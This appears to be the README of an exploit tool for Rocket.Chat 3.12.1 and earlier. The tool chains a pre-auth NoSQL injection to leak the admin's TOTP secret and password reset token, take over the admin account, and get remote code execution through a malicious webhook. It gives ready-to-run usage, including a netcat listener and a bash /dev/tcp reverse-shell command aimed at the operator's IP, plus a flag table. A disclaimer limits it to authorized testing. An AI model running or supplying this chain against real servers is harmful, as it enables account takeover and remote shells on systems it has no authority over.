
Exploits a pre-auth NoSQL injection vulnerability in Rocket.Chat 3.12.1 to leak the admin's TOTP secret and password reset token, take over the admin account, and achieve RCE via a malicious webhook integration.
Rocket.Chat <= 3.12.1
pip install -r requirements.txt
Before running the exploit, start a netcat listener in a separate terminal to catch the incoming reverse shell:
nc -lvnp 4444
Keep this terminal open. Once the exploit runs successfully, your shell will appear here.
python3 pwn_rocketchat.py \
-t 'http://TARGET:3000' \
-u 'USERNAME' \
-p 'PASSWORD' \
-e '[email protected]' \
-a 'adminusername' \
-c '/bin/bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'
This tool is for educational purposes and authorized penetration testing only. The author is not responsible for any misuse or damage caused by this tool. Always obtain proper written authorization before testing.
| Flag | Description |
|---|
-t | Target Rocket.Chat URL |
-u | Your registered low-priv username |
-p | Your registered low-priv password |
-e | Admin email address |
-a | Admin username |
-c | Reverse shell command |
-v | Verbose mode (shows raw responses) |